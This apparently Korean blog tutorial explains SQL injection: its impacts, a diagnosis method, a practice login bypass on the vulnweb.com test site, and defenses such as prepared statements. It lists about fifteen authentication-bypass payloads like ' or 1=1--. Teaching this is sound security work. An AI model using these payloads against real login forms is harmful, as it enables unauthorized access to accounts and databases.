웹/웹 보안

SQL 인젝션 취약점

비니화이팅 2018. 6. 5. 13:22

SQL 인젝션에 대해서 간단하게 알아보도록 하겠습니다.

자세한 것은 http://itlearner.tistory.com/304?category=780096을 참고하면 되겠습니다.


1. 취약점 이해

1-1. 개요

데이터베이스와 연동된 웹 어플리케이션에서 SQL 질의문에 대한 필터링이 제대로 이루어지지 않을 경우 공격자가 입력이 가능한 폼(웹 브라우저 주소 입력창 또는 로그인 폼 등)에 조작된 질의문을 삽입하여 웹 서버의 데이터베이스 정보를 열람 또는 조작을 할 수 있는 취약점을 말합니다.


1-2. 파급 효과

- 데이터베이스 정보 노출

- 데이터 삽입, 삭제 및 변경

- 데이터베이스 서비스 중지

- 사용자 인증 우회


1-3. 취약점의 이해

SQL 인젝션 공격은 SQL(DB의 정보를 조회하기 위해서 질의 및 조작하는 명령어)를 이용하여 불법적으로 DB의 내용을 훔쳐보게 되는 공격입니다.



2. 취약점 진단

2-1. 취약점 진단 방법

test및 admin 계정이 사용될 경우, 또는 계정을 알 고 있을 경우에 아래 구문을 패스워드에 넣으면 됩니다. 로그인이 성공된다면 취약한 것으로 판단합니다.

' or 1=1--' 

+ or 1=1-- 

' or 1=1-- 

' or 1=1/* 

' or '1'=1' 

' or 1=1 ;-- 

' or 1='1 

' or 1=1 -- 

' or 1=1-- 

' or '1'='1 

' or ''=' 

' or '1'='1' --' 

' or 1=1 -- 

' or 1=1# 



3. 실습

실습은 http://testphp.vulnweb.com에서 진행하였습니다.


3-1. SQL Injection

=> http://testphp.vulnweb.com/login.php 페이지를 보면 아래와 같이 로그인할 수 있는 폼이 있습니다.


=> 아이디에는 test, 암호에는 'or 1=1--' 를 입력해봅니다. 그러면 아래와 같이 로그인된 것을 볼 수 있습니다.



4. 대응방안

① Prepared Statement 구문을 통한 방어

: SQL 쿼리를 선 처리하여 컴파일 한 후, 이후 입력받는 변수 값을 항상 문자열변수로 다루기 때문에 공격자의 악의적인 SQL 구문을 변수에 삽입하여도 SQL 구문에 영햐을 미치지 않아 SQL 인젝션이 발생하지 않습니다.

② MS-SQL의 경우 aster..Xp_cmdshell. xp_startmail, sp_sendmail, sp_makewebtask 확장 프로시저를 제거

③ 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력값에 대한 SQL 쿼리문이 삽입되지 않도록 특수문자 및 쿼리 예약어를 필터링

④ 데이터베이스의 에러 메시지를 사용자에게 보여주지 않도록 적절한 처리






본 글은 "누구나 쉽게 따라하는 웹 취약점 진단 기술" 서적과 "KISA의 취약점 진단 제거 가이드(2013.12)"를 참고하여 작성하였습니다.